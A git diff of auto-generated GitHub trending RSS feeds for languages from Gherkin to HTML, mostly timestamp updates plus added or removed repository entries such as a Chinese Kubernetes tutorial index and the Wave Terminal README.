Daily Trending of Gherkin in GitHub
-
- wiris/moodle-tiny_wiris
- 2023-12-12T01:50:02Z
- tag:github.com,2023-12-12:/wiris/moodle-tiny_wiris
-
- <p></p><hr>
-
\ No newline at end of file
diff --git a/git-attributes/daily/index.xml b/git-attributes/daily/index.xml
index 4d259c8490e..dff9320639c 100644
--- a/git-attributes/daily/index.xml
+++ b/git-attributes/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Git Attributes Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:05Z
+ 2023-12-13T01:32:32Z
Daily Trending of Git Attributes in GitHub
\ No newline at end of file
diff --git a/git-config/daily/index.xml b/git-config/daily/index.xml
index 75bece9587d..d0f927726f9 100644
--- a/git-config/daily/index.xml
+++ b/git-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Git Config Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:04Z
+ 2023-12-13T01:32:29Z
Daily Trending of Git Config in GitHub
\ No newline at end of file
diff --git a/gleam/daily/index.xml b/gleam/daily/index.xml
index d861d19137e..56119106033 100644
--- a/gleam/daily/index.xml
+++ b/gleam/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gleam Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:03Z
+ 2023-12-13T01:32:33Z
Daily Trending of Gleam in GitHub
\ No newline at end of file
diff --git a/glsl/daily/index.xml b/glsl/daily/index.xml
index 9fbae57bcbe..c662bcbcc27 100644
--- a/glsl/daily/index.xml
+++ b/glsl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GLSL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:09Z
+ 2023-12-13T01:32:39Z
Daily Trending of GLSL in GitHub
\ No newline at end of file
diff --git a/glyph-bitmap-distribution-format/daily/index.xml b/glyph-bitmap-distribution-format/daily/index.xml
index a622e986bfe..7d3551d61f8 100644
--- a/glyph-bitmap-distribution-format/daily/index.xml
+++ b/glyph-bitmap-distribution-format/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Glyph Bitmap Distribution Format Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:11Z
+ 2023-12-13T01:32:35Z
Daily Trending of Glyph Bitmap Distribution Format in GitHub
\ No newline at end of file
diff --git a/glyph/daily/index.xml b/glyph/daily/index.xml
index 53396b66bb1..3ba95fac329 100644
--- a/glyph/daily/index.xml
+++ b/glyph/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Glyph Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:07Z
+ 2023-12-13T01:32:36Z
Daily Trending of Glyph in GitHub
\ No newline at end of file
diff --git a/gn/daily/index.xml b/gn/daily/index.xml
index fb9c36f3a18..b7ce7a4428e 100644
--- a/gn/daily/index.xml
+++ b/gn/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GN Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:10Z
+ 2023-12-13T01:32:37Z
Daily Trending of GN in GitHub
\ No newline at end of file
diff --git a/gnuplot/daily/index.xml b/gnuplot/daily/index.xml
index 27451acb2c1..56fb680e535 100644
--- a/gnuplot/daily/index.xml
+++ b/gnuplot/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gnuplot Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:13Z
+ 2023-12-13T01:32:40Z
Daily Trending of Gnuplot in GitHub
\ No newline at end of file
diff --git a/go-checksums/daily/index.xml b/go-checksums/daily/index.xml
index bc8194a749f..9bfb18ae3e1 100644
--- a/go-checksums/daily/index.xml
+++ b/go-checksums/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Go Checksums Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:12Z
+ 2023-12-13T01:32:41Z
Daily Trending of Go Checksums in GitHub
\ No newline at end of file
diff --git a/go-module/daily/index.xml b/go-module/daily/index.xml
index efb44ec0318..d20e979690f 100644
--- a/go-module/daily/index.xml
+++ b/go-module/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Go Module Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:14Z
+ 2023-12-13T01:32:42Z
Daily Trending of Go Module in GitHub
\ No newline at end of file
diff --git a/go/daily/index.xml b/go/daily/index.xml
index fd048e2623f..dd29b586ba8 100644
--- a/go/daily/index.xml
+++ b/go/daily/index.xml
@@ -1,21 +1,7 @@
GitHub Go Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:17Z
+ 2023-12-13T01:32:48Z
Daily Trending of Go in GitHub
-
- chaseSpace/k8s-tutorial-cn
- 2023-12-12T01:50:17Z
- tag:github.com,2023-12-12:/chaseSpace/k8s-tutorial-cn
-
- <p></p><hr><h2>Kubernetes 使用教程</h2>
<h3>主要内容</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/chaseSpace/k8s-tutorial-cn/main/doc_tutorial.md">Kubernetes 基础教程</a></li>
<li><a href="https://raw.githubusercontent.com/chaseSpace/k8s-tutorial-cn/main/doc_tutorial_senior.md">Kubernetes 进阶教程</a></li>
<li><a href="https://raw.githubusercontent.com/chaseSpace/k8s-tutorial-cn/main/doc_maintaintion.md">Kubernetes 维护指南(持续更新中···)</a></li>
</ul>
<h3>其他链接</h3>
<ul>
<li><a href="https://kubernetes.io/releases/">正在维护的 Kubernetes 版本</a></li>
<li><a href="https://github.com/kubernetes/kubernetes/raw/master/CHANGELOG">Kubernetes 版本发布历史</a></li>
<li><a href="https://kubernetes.io/docs/reference/kubectl/cheatsheet/#zsh">kubectl 命令行教程</a></li>
<li><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#api-groups">Kubernetes API Groups on v1.27</a></li>
</ul>
<h3>资料索引</h3>
<ul>
<li><a href="https://ramitsurana.gitbook.io/awesome-kubernetes/docs">Gitbook:Awesome-Kubernetes</a></li>
<li><a href="https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands">kubectl 命令文档</a></li>
<li>模板示例
<ul>
<li><a href="https://raw.githubusercontent.com/chaseSpace/k8s-tutorial-cn/main/example_pod">Pod示例集合</a></li>
<li><a href="https://raw.githubusercontent.com/chaseSpace/k8s-tutorial-cn/main/example_job">Job/CronJob示例集合</a></li>
</ul> </li>
<li><a href="https://humalect.com/blog/kubectl-exec">关于kubectl exec你需要知道的一切(英)</a></li>
<li><a href="https://www.cnblogs.com/crazymakercircle/p/17052058.html">K8s面试题(史上最全 + 持续更新)</a></li>
</ul>
<h3>最佳实践</h3>
<p>对于英文文章,你可以使用网页翻译插件(如欧路翻译、沉浸式翻译等)来提高阅读效率。</p>
<ul>
<li><a href="https://collabnix.com/15-kubernetes-best-practices-every-developer-should-know/">(英)每个开发人员都应该知道的15个 Kubernetes 最佳实践</a></li>
<li><a href="https://spacelift.io/blog/kubernetes-best-practices#3-use-autoscaling">(英)每个开发人员都应该知道的17个 Kubernetes 最佳实践</a></li>
<li><a href="https://www.aquasec.com/cloud-native-academy/kubernetes-in-production/kubernetes-security-best-practices-10-steps-to-securing-k8s/">(英)Kubernetes 安全基础知识和10个基本最佳实践</a></li>
<li><a href="https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/">(英)你应该了解的10个 Kubernetes 安全上下文设置</a></li>
</ul>
<h3>推荐的社区文章</h3>
<ul>
<li><a href="https://www.infoq.cn/article/evv4tdg06s5y7yHV0tky">InfoQ:首次部署 Kubernetes 应用,总会忽略这些事</a></li>
<li><a href="https://www.infoq.cn/article/alauo5jmqwyoyj7ds0le">InfoQ:最佳实践丨使用 Rancher 轻松管理上万资源不是梦</a></li>
<li><a href="https://www.infoq.cn/article/gJRYgXV0Mqj2DUugA6GU">InfoQ:将 Kubernetes 扩展到超过 4k 个节点和 200k 个 Pod</a></li>
<li><a href="https://www.infoq.cn/article/ZjHZmjMXuUwSDubtjEa0">InfoQ:利用零信任原则保障 Kubernetes 环境访问安全</a></li>
<li><a href="https://www.infoq.cn/article/lGzz3DULicICzvOIbPXh">InfoQ:从滴滴的(K8s升级)故障我们能学到什么🔥</a></li>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI5ODQ2MzI3NQ%3D%3D&chksm=eca427d0dbd3aec636ef425c8f36c93d2de0666144f604723d89ac5f6b19e3e33393267f0163&idx=2&mid=2247491220&scene=27&sn=1c818ace53ed059f9cd28fac65fdecb9">微信文章:万级K8s集群背后etcd稳定性及性能优化实践</a></li>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI5ODQ2MzI3NQ%3D%3D&chksm=eca4246ddbd3ad7babd20232aa4dd063dfe9854a508ee9749d890bb01e4a89e9ec4e1335ca28&idx=2&mid=2247490857&scene=27&sn=ecbd558968f98f548338179bde0f649e">微信文章:K8s-apiserver工作原理</a></li>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI5ODQ2MzI3NQ%3D%3D&chksm=eca79d7adbd0146c0c286273b6da96293bb2faf22d65a798e3c777a5423501a80991517aa722&idx=1&mid=2247509054&scene=27&sn=14886df58080dbb277b3605cac041d82">微信文章:K8s 为什么要弃用 Docker?</a></li>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI5ODQ2MzI3NQ%3D%3D&chksm=eca7c8b2dbd041a4846fa8485ee8efd49087acf4abc6e4a4714c8075c68dbebdda8ce23aeb69&idx=1&mid=2247496182&scene=27&sn=488fb00e948d38a6c28f93ec097ab479">微信文章:2020 年K8s相关开源项目推荐合集</a></li>
<li><a href="https://www.armosec.io/glossary/etcd-kubernetes/">(英)Kubernetes 中的etcd是什么</a></li>
</ul>
<p>Kubernetes 安全:</p>
<ul>
<li><a href="https://kubernetes.io/zh-cn/docs/tasks/administer-cluster/securing-a-cluster/">官方文档:保护集群</a></li>
<li><a href="https://snyk.io/blog/understanding-kubernetes-pod-security-standards/">(英)了解Kubernetes Pod安全标准</a></li>
<li><a href="https://4sysops.com/archives/encrypt-kubernetes-secrets-at-rest/">(英)静态加密 Kubernetes Secrets</a></li>
<li><a href="https://ksoc.com/blog/kubernetes-security-ultimate-checklist">(英)Kubernetes 安全最佳实践清单</a></li>
<li><a href="https://www.mend.io/blog/kubernetes-security/#Kubernetes_security_context">(英)Kubernetes 安全最佳实践</a></li>
</ul>
<p>Kubernetes 网络:</p>
<ul>
<li><a href="https://spacelift.io/blog/kubernetes-networking">(英)Kubernetes 网络讲解-初学者指南</a></li>
<li><a href="https://cloudnativenow.com/topics/cloudnativenetworking/understanding-kubernetes-networking-architecture/">(英)理解 Kubernetes 网络架构(深度长文)</a></li>
<li><a href="https://addozhang.medium.com/deep-dive-into-kubernetes-network-model-and-communication-57a2bffc852e">(英)深入了解 Kubernetes 网络模型和通信</a></li>
<li><a href="https://blog.kubesimplify.com/implementing-kubernetes-network-policies-a-comprehensive-guide">(英)实施Kubernetes网络策略:全面指南</a></li>
<li><a href="https://snyk.io/blog/kubernetes-network-policy-best-practices/">(英)Kubernetes 网络策略最佳实践</a></li>
<li><a href="https://www.armosec.io/blog/kubernetes-network-policies-best-practices/">(英)Kubernetes 网络策略 101:简要指南</a></li>
<li><a href="https://www.uffizzi.com/kubernetes-multi-tenancy/kubernetes-network-policies">(英)深入了解Kubernetes网络策略</a></li>
</ul>
<p>Kubernetes Ingress:</p>
<ul>
<li><a href="https://heffenvox.com/what-is-kubernetes-ingress-and-how-it-works/">(英)什么是 Kubernetes Ingress,它是如何工作的?</a></li>
<li><a href="https://loft.sh/blog/advanced-guide-to-kubernetes-ingress-controllers/">(英)Kubernetes Ingress控制器高级指南</a></li>
</ul>
<h3>PDF&报告</h3>
<ul>
<li><a href="https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmware-ebook-state-of-kubernetes.pdf">(英)2023年Kubernetes使用报告 来自VMware</a></li>
<li><a href="https://www.redhat.com/en/resources/state-kubernetes-security-report-2023">(英)2023年Kubernetes 安全报告(23页)</a></li>
<li><a href="https://github.com/trailofbits/audit-kubernetes/raw/master/reports/Kubernetes%20Security%20Review.pdf">(英)2019年Kubernetes 安全审查</a></li>
</ul>
<h3>License</h3>
<p>本仓库中的K8s教程均在 CC-BY-NC-SA 4.0 下发布(转载请注明作者及来源)。</p>
<h3>Star History</h3>
<p><a href="https://star-history.com/#chaseSpace/k8s-tutorial-cn&Date"><img src="https://api.star-history.com/svg?repos=chaseSpace/k8s-tutorial-cn&type=Date" alt="Star History Chart"></a></p>
-
-
- wavetermdev/waveterm
- 2023-12-12T01:50:17Z
- tag:github.com,2023-12-12:/wavetermdev/waveterm
-
- <p>An open-source, cross-platform terminal for seamless workflows</p><hr><p align="center">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="./src/app/assets/wave-logo_horizontal-coloronblack.svg">
<source media="(prefers-color-scheme: light)" srcset="./src/app/assets/wave-logo_horizontal-coloronwhite.svg">
<img alt="Wave Terminal Logo" src="https://raw.githubusercontent.com/wavetermdev/waveterm/main/src/app/assets/wave-logo_horizontal-coloronwhite.svg?sanitize=true" width="352" height="59" style="max-width: 100%;">
</picture> <br> </p>
<h1>Wave Terminal</h1>
<p>A open-source, cross-platform, modern terminal for seamless workflows.</p>
<p>Wave isn't just another terminal emulator; it's a rethink on how terminals are built. Wave combines command line with the power of the open web to help veteran CLI users and new developers alike.</p>
<ul>
<li>Inline renderers to cut down on context switching. Render code, images, markdown, and CSV files without ever leaving the terminal.</li>
<li>Persistent sessions that can restore state across network disconnections and reboots</li>
<li>Searchable contextual command history across all remote sessions (saved locally)</li>
<li>Workspaces, tabs, and command blocks to keep you organized</li>
</ul>
<h2>Installation</h2>
<p>Wave Terminal works with MacOS and Linux (preliminary).</p>
<p>Install Wave Terminal from: <a href="https://www.waveterm.dev/download">www.waveterm.dev/download</a></p>
<p>Also available as a homebrew cask for MacOS:</p>
<pre><code>brew install --cask wave
</code></pre>
<h2>Links</h2>
<ul>
<li>Homepage — <a href="https://www.waveterm.dev">https://www.waveterm.dev</a></li>
<li>Download Page — <a href="https://www.waveterm.dev/download">https://www.waveterm.dev/download</a></li>
<li>Documentation — <a href="https://docs.waveterm.dev/">https://docs.waveterm.dev/</a></li>
<li>Quick Start Guide — <a href="https://docs.waveterm.dev/quickstart/">https://docs.waveterm.dev/quickstart/</a></li>
<li>Discord Community — <a href="https://discord.gg/XfvZ334gwU">https://discord.gg/XfvZ334gwU</a></li>
</ul>
<h2>Building from Source</h2>
<ul>
<li><a href="https://raw.githubusercontent.com/wavetermdev/waveterm/main/BUILD.md">MacOS Build Instructions</a></li>
<li><a href="https://raw.githubusercontent.com/wavetermdev/waveterm/main/build-linux.md">Linux Build Instructions</a></li>
</ul>
<h2>Contributing</h2>
<p>Wave uses Github Project for tracking issues.</p>
<p>Find more information in our <a href="https://raw.githubusercontent.com/wavetermdev/waveterm/main/CONTRIBUTING.md">Contributions Guide</a>, which includes:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/wavetermdev/waveterm/main/CONTRIBUTING.md#contributing-to-wave-terminal">Ways to contribute</a></li>
<li><a href="https://raw.githubusercontent.com/wavetermdev/waveterm/main/CONTRIBUTING.md#before-you-start">Contribution guidelines</a></li>
</ul>
-
\ No newline at end of file
diff --git a/golo/daily/index.xml b/golo/daily/index.xml
index 36659b0edc9..a1975185ff7 100644
--- a/golo/daily/index.xml
+++ b/golo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Golo Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:25Z
+ 2023-12-13T01:33:08Z
Daily Trending of Golo in GitHub
\ No newline at end of file
diff --git a/gosu/daily/index.xml b/gosu/daily/index.xml
index 355105f7ee5..47d9d0933a4 100644
--- a/gosu/daily/index.xml
+++ b/gosu/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gosu Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:26Z
+ 2023-12-13T01:33:06Z
Daily Trending of Gosu in GitHub
\ No newline at end of file
diff --git a/grace/daily/index.xml b/grace/daily/index.xml
index 3486b3c9f1b..c7e4bf71c48 100644
--- a/grace/daily/index.xml
+++ b/grace/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Grace Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:30Z
+ 2023-12-13T01:33:11Z
Daily Trending of Grace in GitHub
\ No newline at end of file
diff --git a/gradle/daily/index.xml b/gradle/daily/index.xml
index 6140b83e7c8..7e65618fc70 100644
--- a/gradle/daily/index.xml
+++ b/gradle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Gradle Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:28Z
+ 2023-12-13T01:33:10Z
Daily Trending of Gradle in GitHub
\ No newline at end of file
diff --git a/grammatical-framework/daily/index.xml b/grammatical-framework/daily/index.xml
index 4c3d68afc32..c7c755b5558 100644
--- a/grammatical-framework/daily/index.xml
+++ b/grammatical-framework/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Grammatical Framework Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:29Z
+ 2023-12-13T01:33:12Z
Daily Trending of Grammatical Framework in GitHub
\ No newline at end of file
diff --git a/graph-modeling-language/daily/index.xml b/graph-modeling-language/daily/index.xml
index c4c9548023c..261cc0e8f3a 100644
--- a/graph-modeling-language/daily/index.xml
+++ b/graph-modeling-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Graph Modeling Language Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:32Z
+ 2023-12-13T01:33:19Z
Daily Trending of Graph Modeling Language in GitHub
\ No newline at end of file
diff --git a/graphql/daily/index.xml b/graphql/daily/index.xml
index 88baeda771f..13c2f4bfe7b 100644
--- a/graphql/daily/index.xml
+++ b/graphql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GraphQL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:33Z
+ 2023-12-13T01:33:15Z
Daily Trending of GraphQL in GitHub
\ No newline at end of file
diff --git a/graphviz-(dot)/daily/index.xml b/graphviz-(dot)/daily/index.xml
index 5904dd43315..c55e158d6a6 100644
--- a/graphviz-(dot)/daily/index.xml
+++ b/graphviz-(dot)/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Graphviz (DOT) Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:33Z
+ 2023-12-13T01:33:17Z
Daily Trending of Graphviz (DOT) in GitHub
\ No newline at end of file
diff --git a/groovy-server-pages/daily/index.xml b/groovy-server-pages/daily/index.xml
index 16f3edfd008..2beea019817 100644
--- a/groovy-server-pages/daily/index.xml
+++ b/groovy-server-pages/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Groovy Server Pages Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:35Z
+ 2023-12-13T01:33:23Z
Daily Trending of Groovy Server Pages in GitHub
\ No newline at end of file
diff --git a/groovy/daily/index.xml b/groovy/daily/index.xml
index 0a32701a86d..b5ed0925075 100644
--- a/groovy/daily/index.xml
+++ b/groovy/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Groovy Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:34Z
+ 2023-12-13T01:33:22Z
Daily Trending of Groovy in GitHub
+
+ ram-repo/jenkins-workshop
+ 2023-12-13T01:33:22Z
+ tag:github.com,2023-12-13:/ram-repo/jenkins-workshop
+
+ <p></p><hr>
+
\ No newline at end of file
diff --git a/gsc/daily/index.xml b/gsc/daily/index.xml
index c12630026cc..eabe566ab51 100644
--- a/gsc/daily/index.xml
+++ b/gsc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub GSC Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:37Z
+ 2023-12-13T01:33:25Z
Daily Trending of GSC in GitHub
\ No newline at end of file
diff --git a/hack/daily/index.xml b/hack/daily/index.xml
index f015ec1d30b..b8008baf113 100644
--- a/hack/daily/index.xml
+++ b/hack/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Hack Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:38Z
+ 2023-12-13T01:33:24Z
Daily Trending of Hack in GitHub
\ No newline at end of file
diff --git a/haml/daily/index.xml b/haml/daily/index.xml
index 6888adff9a6..a0fb587d59b 100644
--- a/haml/daily/index.xml
+++ b/haml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Haml Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:36Z
+ 2023-12-13T01:33:26Z
Daily Trending of Haml in GitHub
\ No newline at end of file
diff --git a/handlebars/daily/index.xml b/handlebars/daily/index.xml
index 8c6694b0f61..d1c7d912f0c 100644
--- a/handlebars/daily/index.xml
+++ b/handlebars/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Handlebars Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:41Z
+ 2023-12-13T01:33:28Z
Daily Trending of Handlebars in GitHub
+
+ WL2O2O/JavaU8G
+ 2023-12-13T01:33:28Z
+ tag:github.com,2023-12-13:/WL2O2O/JavaU8G
+
+ <p>Java unique 8 gu——这些年我们为了面试背的八股文</p><hr>
+
\ No newline at end of file
diff --git a/haproxy/daily/index.xml b/haproxy/daily/index.xml
index 4afa3698ea2..f81bc656471 100644
--- a/haproxy/daily/index.xml
+++ b/haproxy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HAProxy Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:39Z
+ 2023-12-13T01:33:30Z
Daily Trending of HAProxy in GitHub
\ No newline at end of file
diff --git a/harbour/daily/index.xml b/harbour/daily/index.xml
index 45c3cdd138b..7a53274a153 100644
--- a/harbour/daily/index.xml
+++ b/harbour/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Harbour Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:40Z
+ 2023-12-13T01:33:29Z
Daily Trending of Harbour in GitHub
\ No newline at end of file
diff --git a/haskell/daily/index.xml b/haskell/daily/index.xml
index fd1d1b0875b..f120d3c3730 100644
--- a/haskell/daily/index.xml
+++ b/haskell/daily/index.xml
@@ -1,7 +1,21 @@
GitHub Haskell Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:44Z
+ 2023-12-13T01:33:35Z
Daily Trending of Haskell in GitHub
+
+ belyaev-mikhail/hs-poly-test-repo
+ 2023-12-13T01:33:35Z
+ tag:github.com,2023-12-13:/belyaev-mikhail/hs-poly-test-repo
+
+ <p></p><hr><p>Репозиторий с заданиями по курсу функционального программирования.</p>
<p>Запуск</p>
<p>$ stack test</p>
<p>Запуск интерпретатора с модулями репозитория</p>
<p>$ stack ghci --test</p>
+
+
+ jgm/commonmark-hs
+ 2023-12-13T01:33:35Z
+ tag:github.com,2023-12-13:/jgm/commonmark-hs
+
+ <p>Pure Haskell commonmark parsing library, designed to be flexible and extensible</p><hr><h1>commonmark</h1>
<p><a href="https://github.com/jgm/commonmark-hs/actions"><img src="https://github.com/jgm/commonmark-hs/workflows/CI%20tests/badge.svg?sanitize=true" alt="CI tests"></a></p>
<p>This repository contains four packages:</p>
<ul>
<li> <p><a href="https://raw.githubusercontent.com/jgm/commonmark-hs/master/commonmark/"><code>commonmark</code></a>: a pure Haskell library for parsing commonmark, designed for flexibility and extensibility.</p> </li>
<li> <p><a href="https://raw.githubusercontent.com/jgm/commonmark-hs/master/commonmark-pandoc/"><code>commonmark-pandoc</code></a>: type instances for parsing commonmark as a Pandoc AST.</p> </li>
<li> <p><a href="https://raw.githubusercontent.com/jgm/commonmark-hs/master/commonmark-extensions/"><code>commonmark-extensions</code></a>: a set of useful extensions to core commonmark syntax.</p> </li>
<li> <p><a href="https://raw.githubusercontent.com/jgm/commonmark-hs/master/commonmark-cli/"><code>commonmark-cli</code></a>: a command-line program that uses this library to convert and syntax-highlight commonmark documents.</p> </li>
</ul>
<p>See the <a href="https://raw.githubusercontent.com/jgm/commonmark-hs/master/commonmark/"><code>commonmark</code> README</a> for a more detailed description of the project's goals.</p>
+
\ No newline at end of file
diff --git a/haxe/daily/index.xml b/haxe/daily/index.xml
index 7d0a19c30c4..a93d9a9d857 100644
--- a/haxe/daily/index.xml
+++ b/haxe/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Haxe Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:59Z
+ 2023-12-13T01:33:55Z
Daily Trending of Haxe in GitHub
\ No newline at end of file
diff --git a/hcl/daily/index.xml b/hcl/daily/index.xml
index 88a7f8a5c05..b431f261a9b 100644
--- a/hcl/daily/index.xml
+++ b/hcl/daily/index.xml
@@ -1,21 +1,7 @@
GitHub HCL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:59Z
+ 2023-12-13T01:33:55Z
Daily Trending of HCL in GitHub
-
- Aj7Ay/k8s-mario
- 2023-12-12T01:50:59Z
- tag:github.com,2023-12-12:/Aj7Ay/k8s-mario
-
- <p></p><hr>
-
-
- Azure/terraform-azurerm-avm-ptn-vnetgateway
- 2023-12-12T01:50:59Z
- tag:github.com,2023-12-12:/Azure/terraform-azurerm-avm-ptn-vnetgateway
-
- <p>AVM Terraform Pattern Module for Virtual Network Gateway</p><hr>
-
\ No newline at end of file
diff --git a/hiveql/daily/index.xml b/hiveql/daily/index.xml
index ee965d8452a..2af0bd66a10 100644
--- a/hiveql/daily/index.xml
+++ b/hiveql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HiveQL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:53Z
+ 2023-12-13T01:33:46Z
Daily Trending of HiveQL in GitHub
\ No newline at end of file
diff --git a/hlsl/daily/index.xml b/hlsl/daily/index.xml
index 0f79484db4c..f02e350eaed 100644
--- a/hlsl/daily/index.xml
+++ b/hlsl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HLSL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:50:56Z
+ 2023-12-13T01:33:50Z
Daily Trending of HLSL in GitHub
\ No newline at end of file
diff --git a/holyc/daily/index.xml b/holyc/daily/index.xml
index 81b47562032..6f8d941aebd 100644
--- a/holyc/daily/index.xml
+++ b/holyc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HolyC Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:02Z
+ 2023-12-13T01:34:00Z
Daily Trending of HolyC in GitHub
\ No newline at end of file
diff --git a/hoon/daily/index.xml b/hoon/daily/index.xml
index e8da88df75e..9ffda6f92bf 100644
--- a/hoon/daily/index.xml
+++ b/hoon/daily/index.xml
@@ -1,14 +1,7 @@
GitHub hoon Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:01Z
+ 2023-12-13T01:34:02Z
Daily Trending of hoon in GitHub
-
- tiller-tolbus/token
- 2023-12-12T01:51:01Z
- tag:github.com,2023-12-12:/tiller-tolbus/token
-
- <p>An Urbit-native L1 blockchain that implements a cryptocurrency $TOKEN</p><hr>
-
\ No newline at end of file
diff --git a/html+ecr/daily/index.xml b/html+ecr/daily/index.xml
index e5cf7004100..67f6064a10c 100644
--- a/html+ecr/daily/index.xml
+++ b/html+ecr/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTML+ECR Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:05Z
+ 2023-12-13T01:34:07Z
Daily Trending of HTML+ECR in GitHub
\ No newline at end of file
diff --git a/html+eex/daily/index.xml b/html+eex/daily/index.xml
index 6a2c2aee32c..317f528c214 100644
--- a/html+eex/daily/index.xml
+++ b/html+eex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTML+EEX Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:04Z
+ 2023-12-13T01:34:06Z
Daily Trending of HTML+EEX in GitHub
\ No newline at end of file
diff --git a/html+erb/daily/index.xml b/html+erb/daily/index.xml
index ec2a23cf1b1..43f27c43556 100644
--- a/html+erb/daily/index.xml
+++ b/html+erb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTML+ERB Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:19Z
+ 2023-12-13T01:34:27Z
Daily Trending of HTML+ERB in GitHub
\ No newline at end of file
diff --git a/html+php/daily/index.xml b/html+php/daily/index.xml
index c29bba060ee..a2fb390ba87 100644
--- a/html+php/daily/index.xml
+++ b/html+php/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTML+PHP Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:18Z
+ 2023-12-13T01:34:30Z
Daily Trending of HTML+PHP in GitHub
\ No newline at end of file
diff --git a/html+razor/daily/index.xml b/html+razor/daily/index.xml
index 109dda442ad..c8e39bfab0d 100644
--- a/html+razor/daily/index.xml
+++ b/html+razor/daily/index.xml
@@ -1,7 +1,7 @@
GitHub HTML+Razor Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:17Z
+ 2023-12-13T01:34:29Z
Daily Trending of HTML+Razor in GitHub
\ No newline at end of file
diff --git a/html/daily/index.xml b/html/daily/index.xml
index bd9d0576e8d..91a7aab771c 100644
